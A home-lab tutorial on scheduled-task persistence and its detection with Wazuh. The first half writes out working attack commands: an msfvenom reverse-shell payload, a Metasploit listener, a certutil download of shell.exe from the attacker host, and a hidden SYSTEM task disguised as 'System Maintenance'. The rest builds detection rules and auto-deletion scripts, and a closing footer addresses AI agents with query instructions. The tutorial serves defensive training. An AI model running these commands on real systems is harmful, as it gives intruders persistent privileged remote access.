# Scheduled Task  Attack & Defense

## **Setting Up the Environment**

To apply this scenario in your home lab, you need the following:&#x20;

✅ **Windows Server (Domain Controller - DC)**

✅ **Windows Client (Domain-Joined Machine)**

✅ **Ubuntu Machine (Wazuh)**

✅ Kali Linux (For Attacking)

You need to install the Wazuh agent on the Windows client machine. Please refer to the following URL for detailed instructions: [Wazuh Agent Installation Guide](https://faresbltagy.gitbook.io/footprintinglabs/build-home-lab-soc-automation/set-up-wazuh-and-thehive-for-threat-detection-and-case-management).

Today we’ll walk through a detailed attack scenario where an attacker uses a scheduled task to connect a victim Windows machine to the attacker machine. We will demonstrate how Wazuh, an open-source security monitoring platform, detects this activity and automatically delete the scheduled task using its Active Response feature.

In this scenario, we will transfer a file designed to establish a reverse shell upon execution. The script will be executed using scheduled tasks.

First, we need to generate a reverse shell file using **msfvenom**, which will later be downloaded onto the victim's machine.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.204.152 LPORT=4444 -f exe -e x64/xor -o shell.exe
```

<figure><img src="/files/dejHOXeq54Ff9t6Lchds" alt=""><figcaption></figcaption></figure>

Let's initiate a web server on our Kali machine to facilitate the download of this file.

```bash
python3 -m http.server
```

We also need to configure a listener to establish a reverse shell connection to our machine.

```bash
msfconsole -q

use exploit/multi/handler
set PAYLOAD windows/x64/shell_reverse_tcp
set LHOST 192.168.204.152
set LPORT 4444
show options
run
```

<figure><img src="/files/WEEK6pFvDKuL4CGO6VdB" alt=""><figcaption></figcaption></figure>

Before executing any actions on our Windows machine, it is essential to enable PowerShell logging.

```lua
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
```

<figure><img src="/files/9EoHUatA91fSPHYkyY2I" alt=""><figcaption></figcaption></figure>

We also need to enable logging for process creation events.

```lua
Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Detailed Tracking
```

<figure><img src="/files/AzfsUoQkGwGqgcD7cw2a" alt=""><figcaption></figcaption></figure>

```powershell
gpupdate /force
```

Let's verify the current PowerShell logging configuration to determine if it is enabled on our Client machine.

```powershell
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting"
```

<figure><img src="/files/LAMEsrUs2lvCkIdoJmjB" alt=""><figcaption></figcaption></figure>

We also need to modify the configuration of the Wazuh agent that we previously installed on the Windows machine. You can find the details here: [GitBook Link](https://faresbltagy.gitbook.io/footprintinglabs/build-home-lab-soc-automation/set-up-wazuh-and-thehive-for-threat-detection-and-case-management).

We previously monitored only Sysmon logs. Moving forward, we need to include PowerShell and Security logs in our monitoring to enhance visibility and threat detection.

From C:\Program Files (x86)\ossec-agent

```bash
cd "C:\Program Files (x86)\ossec-agent"
notepad.exe .\ossec.conf
```

<figure><img src="/files/780ILV8mIwZzvMH3Gnse" alt=""><figcaption></figcaption></figure>

We now need to restart both the Wazuh Agent and the Wazuh Manager.

```powershell
Restart-Service WazuhSvc
```

```bash
systemctl restart wazuh-manager
```

Next, let’s  proceed with downloading the file.

```powershell
certutil -urlcache -split -f http://192.168.204.152:8000/shell.exe C:\temp\shell.exe
```

<figure><img src="/files/NvKeB0nMMhuIlbk7eAAp" alt=""><figcaption></figcaption></figure>

After installing the file, we need to create a scheduled task to run it every minute. Ideally, it should execute once a day at a specific hour, but for practice purposes, we will set it to run every minute.

```powershell
$action = New-ScheduledTaskAction -Execute "C:\temp\shell.exe"
$trigger = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1)) -RepetitionInterval (New-TimeSpan -Minutes 1)
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
$task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal
Register-ScheduledTask -TaskName "System Maintenance" -InputObject $task -Force
```

<figure><img src="/files/wYIFnZ06Gm3YWRuhTOPL" alt=""><figcaption></figcaption></figure>

* **`$action = New-ScheduledTaskAction -Execute "C:\temp\shell.exe"`**: Creates an action to run the file shell.exe located at C:\temp\ when the task starts.
* **`$trigger = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1)) -RepetitionInterval (New-TimeSpan -Minutes 1)`**: Sets the task to start once, one minute from now, and repeat every minute thereafter.
* **`$settings = New-ScheduledTaskSettingsSet -Hidden`**: Configures the task to be hidden, so it doesn’t appear in the Task Scheduler UI.
* **`$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount`**: Specifies the task to run as the SYSTEM account, a high-privilege service account, without requiring a user logon.
* **`$task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal`**: Combines the action, trigger, settings, and principal into a single scheduled task object.
* **`Register-ScheduledTask -TaskName "System Maintenance" -InputObject $task -Force`**: Registers the task in Task Scheduler under the name "System Maintenance" and forces it to overwrite any existing task with the same name.

The name "System Maintenance" sounds legitimate and blends in with typical system processes, making it less likely to raise suspicion from users or administrators reviewing Task Scheduler.

Now that the task has been executed, let's switch to the Kali machine to check for any incoming connections.

<figure><img src="/files/piCsIXIhR6rEf0OHCcog" alt=""><figcaption></figcaption></figure>

We have successfully obtained a reverse shell with system privileges. Now, let's investigate the incident, identify detection methods.

<figure><img src="/files/QmLW1zkpbe1kj0mkG2Cf" alt=""><figcaption></figcaption></figure>

I applied a filter for **Register-ScheduledTask**, resulting in five matches. Let's review them quickly.

<figure><img src="/files/0lXGmW7S1xVYPerfxHDx" alt=""><figcaption></figcaption></figure>

During the investigation, I identified the command previously executed via PowerShell to register the scheduled task. We will use this field to create a rule that triggers an alert.

{% embed url="<https://wazuh.com/blog/detecting-powershell-exploitation-techniques-in-windows-using-wazuh/>" %}

```bash
nano /var/ossec/etc/rules/local_rules.xml
```

```xml
<group name="windows,powershell,">

  <rule id="100204" level="12">
    <if_sid>91802</if_sid>
    <field name="win.eventdata.scriptBlockText" type="pcre2">(?i)Register-ScheduledTask</field>
    <description>PowerShell: Detected Register-ScheduledTask execution</description>
    <mitre>
      <id>T1053</id>
    </mitre>
  </rule>

</group>

```

<figure><img src="/files/ItXIukh1zNrVamfUI73O" alt=""><figcaption></figcaption></figure>

* **Rule ID**: The rule has a unique ID (`100204`) so the system can identify it.
* **Level**: The rule has a severity level of `12`, which means it’s considered **very serious**.
* **Trigger Condition**:
  * It **triggers only if** rule 91802 is already matched.
  * It then looks for the text `Register-ScheduledTask` in a field called `win.eventdata.scriptBlockText`. This field usually contains PowerShell commands.
  * The `(?i)` means it ignores whether the text is in uppercase or lowercase (case-insensitive).
* **Description**:
  * If the rule finds `Register-ScheduledTask`, it will log a message saying:\
    \&#xNAN;*"PowerShell: Detected Register-ScheduledTask execution"*.
* **MITRE Reference**:
  * The rule links this activity to a known hacking technique (`T1059.001`), which is about attackers using PowerShell to do bad things.

Here is the rule 91802:

<figure><img src="/files/S52Mb4gR4u86NStu6Auw" alt=""><figcaption></figcaption></figure>

* **Rule 91801 (Grouping Rule)**
  * It **groups** PowerShell logs from the `Microsoft-Windows-PowerShell/Operational` log channel.
  * This ensures that only relevant PowerShell events are processed by subsequent rules.
* **Rule 91802 (Script Block Detection)**
  * It **depends on rule 91801** (`<if_sid>91801</if_sid>`), meaning it only triggers if PowerShell script block logs exist.
  * It matches any PowerShell script execution (`win.eventdata.ScriptBlockId` with `.+`, meaning any non-empty script block).
  * This ensures that detailed script execution logs are captured.
* **Rule 100204 (Register-ScheduledTask Detection)**
  * **Depends on rule 91802** (`<if_sid>91802</if_sid>`), meaning it only triggers **if script block logging is already matched**.
  * It specifically looks for `Register-ScheduledTask` inside **PowerShell script execution logs** (`win.eventdata.scriptBlockText`).
  * If this command is detected, it raises an alert indicating an **attempt to create or modify a scheduled task**.

Next, the Wazuh agent must be restarted.

```bash
systemctl restart wazuh-manager
```

We need to delete the scheduled task, recreate it, and verify whether an alert is triggered.

Next, let's verify whether an alert has been triggered.

<figure><img src="/files/c3QArwBxADIJRJ9hKo4E" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QwsZ6K3zfExh44OpRCSW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a7zjszGcvfCoTE0ZfsRo" alt=""><figcaption></figcaption></figure>

The next step is to configure Wazuh to automatically remove the scheduled task using its Active Response feature.

Active Response in Wazuh is a feature that allows the Wazuh platform to automatically execute predefined actions or scripts when specific security alerts or triggers are detected. It’s part of Wazuh’s capabilities as a Security Information and Event Management (SIEM) and Extended Detection and Response (XDR) solution, designed to enhance incident response by enabling real-time, automated reactions to threats.

These scripts are triggered based on specific conditions, such as:

* A particular rule ID.
* An alert severity level.
* A rule group.

When a new scheduled task is created, Event ID 4698 is triggered, indicating its creation. We can search for this event to gather relevant details, which will assist us in developing a script to automatically delete the scheduled task.

<figure><img src="/files/xDsYmZA0AH7RN4qTIZg1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/31wrnnkPE2GIDcHl0Y2n" alt=""><figcaption></figcaption></figure>

First, let's create a basic script to verify that the active response is functioning correctly and operating as expected.

First, we will create an additional scheduled task named "TestTask."

```powershell
Register-ScheduledTask -TaskName "TestTask" -Action (New-ScheduledTaskAction -Execute "cmd.exe") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date)) -Force
```

<figure><img src="/files/XU7WZTM9sHPDmBCHyuMl" alt=""><figcaption></figcaption></figure>

Let's verify whether an alert was generated for the creation of this scheduled task.

<figure><img src="/files/45wUGZ3mQ2PerdBC3GBt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UOiQ52W3J02LsFB3CKUp" alt=""><figcaption></figcaption></figure>

Open a PowerShell session as Administrator and create a script named **remove-task.bat** with the following content:

```batch
@echo off
schtasks /delete /tn "TestTask" /f
echo %date% %time% Removed TestTask for active response test >> "C:\Program Files (x86)\ossec-agent\active-response\active-responses.log"
```

The file must be saved in the following directory:\
**C:\Program Files (x86)\ossec-agent\active-response\bin**.

* **`schtasks /delete /tn "TestTask" /f`**: Deletes a scheduled task named "TestTask" from the Windows Task Scheduler. The /f flag forces the deletion without asking for confirmation.
* `echo %date% %time% Removed TestTask ... >> ...`: Logs a message to a file. It writes the current date and time, followed by "Removed TestTask for active response test," into a log file located at `C:\Program Files (x86)\ossec-agent\active-response\active-responses.log`. The >> means it adds this line to the end of the file without overwriting what’s already there.

<figure><img src="/files/j1IHJDtfbmmOruTi4uba" alt=""><figcaption></figcaption></figure>

Grant SYSTEM full control:

```powershell
icacls "C:\Program Files (x86)\ossec-agent\active-response\bin\remove-task.bat" /grant "SYSTEM:F"
```

Please restart the Wazuh agent as well.

```powershell
Restart-Service WazuhSvc
Get-Service WazuhSvc
```

<figure><img src="/files/WjcZDhMRnHLYuRipw9oN" alt=""><figcaption></figcaption></figure>

We need also to ensure Wazuh manager’s **`/var/ossec/etc/ossec.conf`** is set up as follows:

```xml
  <command>
    <name>remove-task</name>
    <executable>remove-task.bat</executable>
    <timeout_allowed>no</timeout_allowed>
  </command>

  <active-response>
    <command>remove-task</command>
    <location>local</location>
    <rules_id>100204</rules_id>
  </active-response>
```

<figure><img src="/files/N6hJlGCCPtBufdvd0CQM" alt=""><figcaption></figcaption></figure>

* **`<command>:`** Defines a command named "remove-task".
  * **`<name>remove-task</name>:`** The command’s identifier.
  * **`<executable>remove-task.bat</executable>:`** Runs the remove-task.bat script.
  * **`<timeout_allowed>no</timeout_allowed>:`** No time limit for the script to finish.
* **`<active-response>:`** Sets when and where the command runs.
  * **`<command>remove-task</command>:`** Links to the "remove-task" command above.
  * **`<location>local</location>:`** Runs the script on the same machine where the alert happens.
  * **`<rules_id>100204</rules_id>:`** Triggers the script when Wazuh rule ID 100204 fires.

In short: When rule 100204 triggers an alert, Wazuh runs remove-task.bat locally with no timeout.

We now need to restart the Wazuh Manager service.

```bash
sudo systemctl restart wazuh-manager
```

Now, let's delete the **TestTask**, recreate it, and observe the outcome.

```powershell
schtasks /delete /tn "TestTask" /f
Register-ScheduledTask -TaskName "TestTask" -Action (New-ScheduledTaskAction -Execute "cmd.exe") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date)) -Force
```

<figure><img src="/files/b2EkPOQEdQ9D8UZtVPps" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/X5LlLtitIsO1t3pV2cC4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/53givQ3oOpKC7swtZyIT" alt=""><figcaption></figcaption></figure>

We can observe that following the alert trigger, the `remove-task.bat` script was executed.

<figure><img src="/files/ePMx9DQUWa7AEbUXKzzA" alt=""><figcaption></figcaption></figure>

The alert indicated that the execution of the `remove-task.bat` script resulted in the deletion of the `TestTask` scheduled task.

Let's verify whether the TestTask was actually deleted.

```powershell
schtasks /query /tn "TestTask" /fo LIST /v
```

<figure><img src="/files/sh9PwXuMy8nJWLbXRjiY" alt=""><figcaption></figcaption></figure>

We have confirmed that the solution is functional. Now, we need to make it dynamic so that whenever an attacker attempts to create a scheduled task using the PowerShell cmdlet `Register-ScheduledTask`, it is automatically deleted regardless of the task name.

To accomplish this, I developed a PowerShell script that retrieves the most recently created scheduled task when an alert is triggered based on Event ID 4698. The script extracts the task's name and deletes it. Additionally, I created a batch script to execute the PowerShell script. Let's go through the process step by step.

Let's retrieve the most recently created scheduled task using PowerShell.

```powershell
Get-WinEvent -LogName "Security" | Where-Object {$_.Id -eq 4698} | Select-Object -First 1 | ForEach-Object {$_.Properties[4].Value}
```

<figure><img src="/files/OZxAmpwcXUBFoDNjeoZu" alt=""><figcaption></figcaption></figure>

Now, let's begin by creating a PowerShell script named **remove-task.ps1**.

```powershell
# Get the most recent TaskName from Event ID 4698
$taskName = Get-WinEvent -LogName "Security" | Where-Object {$_.Id -eq 4698} | Select-Object -First 1 | ForEach-Object {$_.Properties[4].Value}

# Log file path
$logFile = "C:\Program Files (x86)\ossec-agent\active-response\active-responses.log"

# Check if a TaskName was found and delete it
if ($taskName) {
    schtasks /delete /tn "$taskName" /f
    if ($LASTEXITCODE -eq 0) {
        Add-Content -Path $logFile -Value "$(Get-Date) Removed task: $taskName"
    } else {
        Add-Content -Path $logFile -Value "$(Get-Date) Failed to remove task: $taskName (Exit code: $LASTEXITCODE)"
    }
} else {
    Add-Content -Path $logFile -Value "$(Get-Date) No TaskName found for Event ID 4698"
}
```

<figure><img src="/files/4UKmmd1mBvxJi2HE1dVi" alt=""><figcaption></figcaption></figure>

Next, we will create a batch file named **remove-task.bat**.

```batch
@echo off
powershell -ExecutionPolicy Bypass -File "C:\Program Files (x86)\ossec-agent\active-response\bin\remove-task.ps1"
```

<figure><img src="/files/r5acF8DVwSHdhCljW34R" alt=""><figcaption></figcaption></figure>

Next, we need to restart the Wazuh agent to apply the changes.

```powershell
Restart-Service WazuhSvc
```

We also need to ensure that the Wazuh manager's configuration file (`/var/ossec/etc/ossec.conf`) is properly set up as follows:

<figure><img src="/files/9qD7Wxj3Rw2Kx3B3kZB3" alt=""><figcaption></figcaption></figure>

Now when Wazuh detects an alert for the creation of a scheduled task using the PowerShell cmdlet `Register-ScheduledTask`, it will automatically execute the `remove-task.bat` script. This script will then trigger `remove-task.ps1` to delete the newly created scheduled task.

Let's recreate the "System Maintenance" scheduled task and verify whether Wazuh deletes it.

```powershell
$action = New-ScheduledTaskAction -Execute "C:\temp\shell.exe"
$trigger = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1)) -RepetitionInterval (New-TimeSpan -Minutes 1)
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
$task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal
Register-ScheduledTask -TaskName "System Maintenance" -InputObject $task -Force
```

<figure><img src="/files/tIyskLme20bLl8TwNS3p" alt=""><figcaption></figcaption></figure>

Next, let's review the Wazuh alerts.

<figure><img src="/files/VofvSUcYHCbKBea1f7jv" alt=""><figcaption></figcaption></figure>

Let's review these alerts to gain a clear understanding of what occurred.

<figure><img src="/files/7Xy7mfDxtzK5ETzcLKqg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jfgsmzQ4wdR4Q1Eyku7J" alt=""><figcaption></figcaption></figure>

After the scheduled task was created, an alert was triggered, prompting the execution of a script named **remove-task.bat**.

<figure><img src="/files/81VjDjqNofmFP93EoM2S" alt=""><figcaption></figcaption></figure>

Then `remove-task.ps1` script was executed, deleting the task named **System Maintenance**. Let's verify whether the task was successfully deleted.

```powershell
schtasks /query /tn "System Maintenance" /fo LIST /v
```

<figure><img src="/files/IB7QfQ1l4a3znNE6jIwQ" alt=""><figcaption></figcaption></figure>

We have successfully configured Wazuh to automatically delete the scheduled task upon triggering an alert.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://faresbltagy.gitbook.io/footprintinglabs/home-lab-attack-and-defense-scenarios/scheduled-task-attack-and-defense.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
